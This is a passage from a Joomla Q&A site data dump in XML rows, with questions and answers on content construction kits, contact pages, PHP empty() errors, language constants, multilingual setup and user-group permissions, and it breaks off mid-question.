  <row Id="5560" PostTypeId="2" ParentId="5550" CreationDate="2014-12-05T00:47:36.997" Score="3" Body="&lt;p&gt;I tend to use &lt;strong&gt;ChronoForms&lt;/strong&gt; rather than a CCK but would not describe ChronoForms as easy for a beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a recent Joomla Beat podcast, I get the impression from &lt;strong&gt;Chad Windnagle&lt;/strong&gt; that the simplest and most future proof CCK would be a plugin that doesn't interfere with the core code. By &quot;future proof&quot;, I mean something that's easy to upgrade or migrate from one version of Joomla to another. From what I understand, some CCKs made Joomla 1.5 to 2.5 migrations very difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching JED, the closest existing match seems to be &lt;strong&gt;Aixeena CCK&lt;/strong&gt; &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/27155&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/27155&lt;/a&gt; which apparently stores data on the default attributes or parameters without needing to install any new tables or fields so that data can be used on every front-end component, module, plugin or template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used Aixeena CCK yet but it might be worth a try.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="174" LastEditDate="2014-12-05T13:37:15.513" LastActivityDate="2014-12-05T13:37:15.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5561" PostTypeId="1" CreationDate="2014-12-05T02:04:33.343" Score="5" ViewCount="70" Body="&lt;p&gt;The page in question - the Contact Page - does not appear in Articles. It does appear in my Main Menu, but there is still no way to edit its content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link the menu item is pointing to is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_contact&amp;amp;view=contact&amp;amp;id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a Contacts component but this appears empty and unused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a Contact Form in Modules which correlates to the form on the contact page but again there is no way to edit the text content that appears on the actual contact page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2 is installed, but the contact page does not appear amongst the items listed there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has got me really scratching my head. Can anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="2324" LastEditDate="2014-12-06T18:04:10.593" LastActivityDate="2014-12-06T18:04:10.593" Title="Trouble finding particular page that exists in the menu" Tags="|articles|content|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5562" PostTypeId="2" ParentId="5561" CreationDate="2014-12-05T02:25:00.970" Score="7" Body="&lt;p&gt;The link you're referencing is telling Joomla to use the Contacts component to display information about the contact in the database with id #1...so...you need to log into the administrator, and go to the Contacts component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once there, there &lt;em&gt;should&lt;/em&gt; be a contact with ID #1, but by the sounds of it, that record may be deleted, unpublished, or possibly trashed - you'll need to investigate on your end to determine that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the record is there, you need to insure that it is published for that original link to work.  If that record is NOT there, you'll need to add a new one.  That will create record in the database with a &lt;em&gt;different&lt;/em&gt; id#, so you will then need to go to the Menu Manager, locate the menu item, and change the Contact to be displayed to the one you just added. (&lt;em&gt;an afterthought...if record #1 was never there to begin with, adding it in the Contact Component may create the record that the module is expecting to be there to begin with&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if its a module that isn't displaying the info, you need to go to the Module manager to change the Contact currently specified (#1), to the one you just added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, when in the Component Manager, top right, you can click on Options and make some changes about how the Contact component behaves.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-05T02:54:47.430" LastActivityDate="2014-12-05T02:54:47.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5563" PostTypeId="1" CreationDate="2014-12-05T10:06:52.750" Score="7" ViewCount="5247" Body="&lt;p&gt;In a &lt;a href=&quot;https://joomla.stackexchange.com/questions/5542/what-exactly-gets-loaded-inside-templates-jinclude-type-head-call&quot;&gt;previous question&lt;/a&gt; I already got clarified how exactly did &lt;code&gt;&amp;lt;jdoc:include type=head&amp;gt;&lt;/code&gt; work. Now I have a new question about it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, any extension can add a call to new scripts, css files or tags that will be &quot;catched&quot; by the jdoc:include and injected in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The question is&lt;/strong&gt;: is there a way to debug where each line loaded in the &lt;code&gt;&amp;lt;head&lt;/code&gt;&gt; by the include comes from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I had to work in a project where someone else provided a custom component with some custom modules, and I was seeing some strange stuff loaded in my &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;... so I had to inspect all view files one by one until I found which one was making the call that loaded those lines... is there a way to know where are these calls coming from? Hope it makes sense.&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2020-01-14T00:39:19.427" Title="Is there a way to know where jdoc:include type=head lines are being loaded from?" Tags="|joomla-3.x|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5564" PostTypeId="2" ParentId="5550" CreationDate="2014-12-05T13:45:40.000" Score="5" Body="&lt;p&gt;To add more Joomla! CCKs to the list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cobalt&lt;/strong&gt; Cobalt 8 opens incredible possibilities for constructing websites, and allows you to build almost anything. &lt;a href=&quot;http://www.mintjoomla.com/joomla-components/cobalt.html&quot; rel=&quot;nofollow&quot;&gt;http://www.mintjoomla.com/joomla-components/cobalt.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Joomla Component Creator&lt;/strong&gt; - Develop and learn MVC the easy way &lt;a href=&quot;http://www.component-creator.com/en/&quot; rel=&quot;nofollow&quot;&gt;http://www.component-creator.com/en/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fabrik&lt;/strong&gt; - Flexible Joomla! content creation &lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow&quot;&gt;http://fabrikar.com/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;FLEXIcontent&lt;/strong&gt; - Advanced CCK for Joomla! (similar to K2) &lt;a href=&quot;http://www.flexicontent.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.flexicontent.org/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Zoo&lt;/strong&gt; ZOO is a flexible and powerful content application builder to manage your content. &lt;a href=&quot;http://yootheme.com/zoo/downloads#free&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/downloads#free&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2016-03-31T21:08:05.320" LastActivityDate="2016-03-31T21:08:05.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5565" PostTypeId="1" AcceptedAnswerId="5566" CreationDate="2014-12-05T14:15:30.263" Score="2" ViewCount="5435" Body="&lt;p&gt;I have written a module to display images on my site, but I'm getting the following error on the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Can't use method return value in write context in /public_html/camps/modules/mod_slider/mod_slider.php on line 24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what is showing on line 24:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($params-&amp;gt;get('image-1')) || !empty($params-&amp;gt;get('image-1-alt')) || !empty($params-&amp;gt;get('image-1-caption'))) { ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's gone wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is running PHP version 5.3.10-1ubuntu3.15&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="64" LastEditDate="2014-12-05T14:28:37.390" LastActivityDate="2018-01-13T11:49:56.623" Title="Fatal error: Can't use method return value in write context" Tags="|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5566" PostTypeId="2" ParentId="5565" CreationDate="2014-12-05T14:19:32.530" Score="5" Body="&lt;p&gt;Prior to &lt;strong&gt;PHP 5.5&lt;/strong&gt;, the function &lt;code&gt;empty()&lt;/code&gt; can only be used on variables, not return values, so you have to approach it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = $params-&amp;gt;get('image-1');&#xA;$alt = $params-&amp;gt;get('image-1-alt');&#xA;$caption = $params-&amp;gt;get('image-1-caption');&#xA;if (!empty($image) || !empty($alt) || !empty($caption)) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="168" LastEditDate="2014-12-05T14:25:01.363" LastActivityDate="2014-12-05T14:25:01.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5567" PostTypeId="2" ParentId="3560" CreationDate="2014-12-05T14:33:32.027" Score="3" Body="&lt;p&gt;I know you said you do not want to 'hack the core files' but Joomla comes with all these great module/theme overrides that let you customise their output without loosing these changes each time you run Joomla updates. All you need is an FTP program and a text editor. It does involve customising your theme but the core files are left alone.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Absolute Menu Links&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To make all menu links output an absolute url I can show you what worked for myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related question that helped point me in the right direction can be found here: &lt;a href=&quot;https://stackoverflow.com/questions/16824795/how-to-make-a-template-overwrite-for-mod-menu-with-alternative-layouts-for-link&quot; title=&quot;How to make a template overwrite for mod_menu with alternative layouts&quot;&gt;How to make a template overwrite for mod_menu with alternative layouts&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to change how my links are output I can copy the &lt;strong&gt;default_component.php&lt;/strong&gt; to my theme's directory and change it e.g. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/modules/mod_menu/tmpl/default_component.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mytemplate/html/mod_menu/default_component.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easy to change the 3 cases at the bottom for the 3 standard links types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here clear your cache and test. You should now have absolute urls in your menu items.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Absolute Article Links&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Depending on the size of your site this could be easy or tedious. Ask all content editors to use absolute urls when creating/linking to content. You could use a db utility by &lt;a href=&quot;http://www.nonumber.nl/extensions/dbreplacer&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;db replacer by NoNumber&quot;&gt;NoNumber&lt;/a&gt; to search and replace in your database but always remember to take a backup first.&lt;/p&gt;&#xA;" OwnerUserId="2319" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-12-05T14:33:32.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5568" PostTypeId="2" ParentId="5565" CreationDate="2014-12-05T14:45:53.087" Score="4" Body="&lt;p&gt;Just a little addition to @GDP's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of checking whether the variables are empty or not, you could set default values for them like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image   = $params-&amp;gt;get('image-1', 'images/image.png');&#xA;$alt     = $params-&amp;gt;get('image-1-alt', 'Generic Alt');&#xA;$caption = $params-&amp;gt;get('image-1-caption', 'Generic Caption');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then simply create a generic image that will show is nothing has been set.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-05T14:45:53.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5569" PostTypeId="1" CreationDate="2014-12-05T14:59:04.830" Score="3" ViewCount="1601" Body="&lt;p&gt;How can i create a language constant instead of a classic text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried it so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$langConstant = strtoupper(str_replace (' ', '', $this-&amp;gt;fieldsClass-&amp;gt;getFieldName($oneExtraField)));&#xA;$langConstant = str_replace('-', '', $langConstant);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to reproduce my content from override file so, but i see only constant code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JText::_(&quot;TPL_CTM_F_$langConstant&quot;);&#xA;or&#xA;echo JText::_(&quot;TPL_CTM_F_&quot; . $langConstant);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i reproduce it as language constant?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2014-12-06T15:45:06.153" Title="String to language constant?" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5570" PostTypeId="2" ParentId="5569" CreationDate="2014-12-05T15:05:13.797" Score="6" Body="&lt;p&gt;The Language constant that youre trying to build will work if the final, full constant is defined in your language file.  In other words, if you set &lt;code&gt;$langConstant = 'XYZ'&lt;/code&gt;, then &lt;code&gt;TPL_CTM_F_XYZ&lt;/code&gt; must exist in the language file that you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these will work, (knowing that &lt;code&gt;JYES&lt;/code&gt; and &lt;code&gt;JNO&lt;/code&gt; are found in a language file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JText::_(&quot;JYES&quot;);&#xA;echo JText::_(&quot;JNO&quot;);&#xA;&#xA;$variable = 'JYES';&#xA;echo JText::_($variable);&#xA;&#xA;$yes = strtoupper('yes');&#xA;$constructed = 'J'.$yes;&#xA;echo JText::_($constructed);&#xA;&#xA;echo JText::_('J'.strtoupper('yes'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You define Language strings in the language folder of your component.  These are typically located in &lt;code&gt;\language\en-GB&lt;/code&gt; from the root of your site, or within the components folder (where 'en-GB' is your language).  That language file is loaded with your component and the rest is taken care of by Joomla.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Creating_a_language_definition_file&quot; rel=&quot;nofollow&quot;&gt;Creating a Language File&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/Specification_of_language_files&quot; rel=&quot;nofollow&quot;&gt;Specification of Language Files&lt;/a&gt;. If you need a language string from other than your component, see how to do at &lt;a href=&quot;https://docs.joomla.org/Loading_extra_language_files&quot; rel=&quot;nofollow&quot;&gt;Loading Extra Language Files&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, in the Administrator, you can add and maintain language strings using the Language Manager.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-06T15:45:06.153" LastActivityDate="2014-12-06T15:45:06.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5571" PostTypeId="1" AcceptedAnswerId="5575" CreationDate="2014-12-05T16:03:56.200" Score="2" ViewCount="114" Body="&lt;p&gt;I have a site and I'm trying to add a second language to it. I've followed the steps outlined here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/1159/how-to-setup-a-new-multi-language-website&quot;&gt;How to setup a new multi-language website?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to create a content language (Spanish), it won't appear in the content language list, even though it says it has saved successfully. If I try to recreate the same content language it says one already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue its causing is that only English(UK) is appearing in language drop downs when I try to create a menu item or module. Is there a way to view the Content Language I've created? And if so, will that add it to the Menu Item languages dropdown? &lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-12-05T18:03:17.330" Title="After saving a Content Language it doesn't appear in the list" Tags="|language|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5572" PostTypeId="2" ParentId="5511" CreationDate="2014-12-05T16:09:59.330" Score="6" Body="&lt;p&gt;There are 2 possible ways, I answer both ways each in separated answer.&#xA;This answer uses the exclude category variant. You have to create a new user group, set this user group as child of the “Manager” user group. Then you change the permission of each category to deny the access for this user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a Step by Step tutorial (Joomla 2.5 because question is tagged with this version, it will work the same way in Joomla 3+):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the user group with “Manager” as parent&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nIelW.jpg&quot; alt=&quot;Add user group&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the user and add it to the new user group&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AbfUk.jpg&quot; alt=&quot;Add user&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the permission of all categories (All child categories will have the same permissions, so maybe you wrap all categories in one and forbid the access there)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dVxST.jpg&quot; alt=&quot;Change category permissions&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a category and allow the access to this group&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dky2Y.jpg&quot; alt=&quot;Add new category&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Login with the new user and check the content component&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tfHEl.jpg&quot; alt=&quot;User View&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a article&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aHSGE.jpg&quot; alt=&quot;Add article with new user&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="69" LastEditorUserId="451" LastEditDate="2016-01-13T15:36:03.107" LastActivityDate="2016-01-13T15:36:03.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5573" PostTypeId="2" ParentId="5511" CreationDate="2014-12-05T16:13:07.597" Score="6" Body="&lt;p&gt;There are 2 possible ways, I answer both ways each in separated answer.&#xA;This answer creates a complete new user group. You have to create a new user group, set this user group as child of the “Public” user group. Add the group to the “special” access level and allow the group to access the backend and the com_content. Then you change the permission of each category to allow the access for this user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a Step by Step tutorial (Joomla 2.5 because question is tagged with this version, it will work the same way in Joomla 3+):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the user group with “Public” as parent&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AbP3q.jpg&quot; alt=&quot;Add user group&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the user group to access level “Special”&#xA;&lt;img src=&quot;https://i.stack.imgur.com/igUcF.jpg&quot; alt=&quot;Add access level&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the user and add it to the new user group&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cZd8L.jpg&quot; alt=&quot;Create User&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the administrator access permission to the user group&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j5wS8.jpg&quot; alt=&quot;Add backend permissions&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the permissions for the content component&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CAQQl.jpg&quot; alt=&quot;Add component access&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a category and set the permissions for this category&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W3sBX.jpg&quot; alt=&quot;Create category&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Login with the new User and check the content component&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tfHEl.jpg&quot; alt=&quot;User View&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a article&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aHSGE.jpg&quot; alt=&quot;Add article with new user&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="69" LastEditorUserId="451" LastEditDate="2016-01-13T15:35:32.540" LastActivityDate="2016-01-13T15:35:32.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5574" PostTypeId="2" ParentId="5563" CreationDate="2014-12-05T17:56:57.920" Score="6" Body="&lt;p&gt;Not sure if this will answer your query but the first thing I would do is look here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/libraries/joomla/document/html/renderer/head.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In terms of modules adding 'strange' stuff; well they could for instance use &lt;code&gt;JFactory::getDocument()-&amp;gt;addScript();&lt;/code&gt; to add their own module JS, so I would check the module code for that. &lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="168" LastEditDate="2014-12-07T21:17:38.373" LastActivityDate="2014-12-07T21:17:38.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5575" PostTypeId="2" ParentId="5571" CreationDate="2014-12-05T18:03:17.330" Score="2" Body="&lt;p&gt;Most problems configuring a Multilingual Site are caused by an inconsistent configuration. Check these steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to Create a Multilingual Site in Joomla&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.rockettheme.com/docs/joomla/basic/how_to_create_a_multilingual_site.md&quot; rel=&quot;nofollow&quot;&gt;http://www.rockettheme.com/docs/joomla/basic/how_to_create_a_multilingual_site.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you can just create a new site following the simple steps offered by the installer to create the proper structure.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-05T18:03:17.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5576" PostTypeId="1" CreationDate="2014-12-05T19:18:31.427" Score="2" ViewCount="382" Body="&lt;p&gt;I have k2 categories, and on a category page, I need to implement the following logic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Loop through tabs&lt;/li&gt;&#xA;&lt;li&gt;Retrieve items that match category (note: I have additional categories extension in k2)&lt;/li&gt;&#xA;&lt;li&gt;Display items using template from a module (I have been using xperttabs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I am trying to use the xperttabs module, without actually have stored module instances...which I guess means copying the display code into the categories.php file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a non-Ajax way that makes more sense? I am just trying to avoid creating 20 plus modules to display everything across my categories...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insights appreciated! Also, I have no java experience but if I understand the process and see examples I can figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2014-12-05T19:18:31.427" Title="How to use Ajax to display K2 items in Tabs" Tags="|k2|ajax|" AnswerCount="0" CommentCount="3" ClosedDate="2015-09-16T12:29:22.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="5578" PostTypeId="2" ParentId="5550" CreationDate="2014-12-05T23:43:54.923" Score="0" Body="&lt;p&gt;Here are my &quot;CCK&quot; suggestions. Ordering is from simplicity/easiness to complex.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;FieldsAttach (limited, but extends J! core articles and categories)&lt;/li&gt;&#xA;&lt;li&gt;K2 (v3 is coming before Xmas)&lt;/li&gt;&#xA;&lt;li&gt;Cobalt v8 (most versatile in regards of field types and possible workflows and applications, at first sight complex but easy to understand)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I assume, your initial post and experience is probably with Seblod CCK!? It is definitely not for everyone! i.e. the average Joomla user or hobby sitebuilder. &lt;/p&gt;&#xA;" OwnerUserId="2012" LastActivityDate="2014-12-05T23:43:54.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5580" PostTypeId="2" ParentId="4485" CreationDate="2014-12-07T05:55:41.343" Score="2" Body="&lt;p&gt;Why do you waste your time writing code for a contact form?&#xA;There are a lot of Joomla forms extensions available. &lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow&quot;&gt;Fabrik&lt;/a&gt; is such an example. You can create as many fields as you like. &lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms/23899&quot; rel=&quot;nofollow&quot;&gt;Visforms&lt;/a&gt; is another example. &lt;/p&gt;&#xA;" OwnerUserId="1727" LastActivityDate="2014-12-07T05:55:41.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5581" PostTypeId="2" ParentId="4485" CreationDate="2014-12-07T17:32:52.420" Score="3" Body="&lt;p&gt;I have recently encounters an extension JxiForms which is pretty unique in its functionality.&lt;/p&gt;&#xA;&lt;p&gt;You should give it a try if you need complete control over the form data.&lt;/p&gt;&#xA;&lt;p&gt;It does not interfere in the form creation and handles form data processing when form is submitted.&lt;/p&gt;&#xA;&lt;p&gt;With this extension you are totally free to place your form code, no additional script is injected.&lt;/p&gt;&#xA;&lt;p&gt;But yes it is not for beginners.&lt;/p&gt;&#xA;&lt;p&gt;You can check this &lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms/23152&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-12-07T17:32:52.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5582" PostTypeId="2" ParentId="4485" CreationDate="2014-12-07T17:49:02.320" Score="2" Body="&lt;p&gt;Yet another suggestion for an existing Extension...the work has already been done for you by 74 different developers at the &lt;strong&gt;JED&lt;/strong&gt; &lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/contact-forms&quot; rel=&quot;nofollow&quot;&gt;Contact Forms&lt;/a&gt; section.  They range from very simple to very complexed, and many are very highly rated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some unbeknownst reason these don't meet your needs and you feel it necessary to build your own, I'd suggest &lt;a href=&quot;http://www.component-creator.com&quot; rel=&quot;nofollow&quot;&gt;Component Creator&lt;/a&gt;.   Its a great introduction to Joomla coding, and the free version is perfect in your case.  It allows a single-table component to be built, and the complete installation file to be generated from scratch within a few moments of you completing the table.  &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-07T17:49:02.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5583" PostTypeId="1" AcceptedAnswerId="5584" CreationDate="2014-12-08T00:58:25.797" Score="3" ViewCount="974" Body="&lt;p&gt;I have this code right here :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;nowrap has-context&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php &#xA;    echo JRoute::_('index.php option=com_subscription&amp;amp;task=subscriptionsform.edit&amp;amp;reportId='.$this-&amp;gt;escape($item['id'])); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;escape($item['title']); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to pass the variable reportId in my Edit view but when I click the link, the reportId is not found. Are there any restrictions in passing variables to the edit form? is it only restricted on an Item's Id which is the default?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/bdes3/index.php/component/subscription/subscriptionsform?layout=edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it always redirects to this link. When I removed&lt;br&gt;&#xA;    $controller-&gt;redirect(); in my main controller, the reportId was included in the URL but the edit fields were 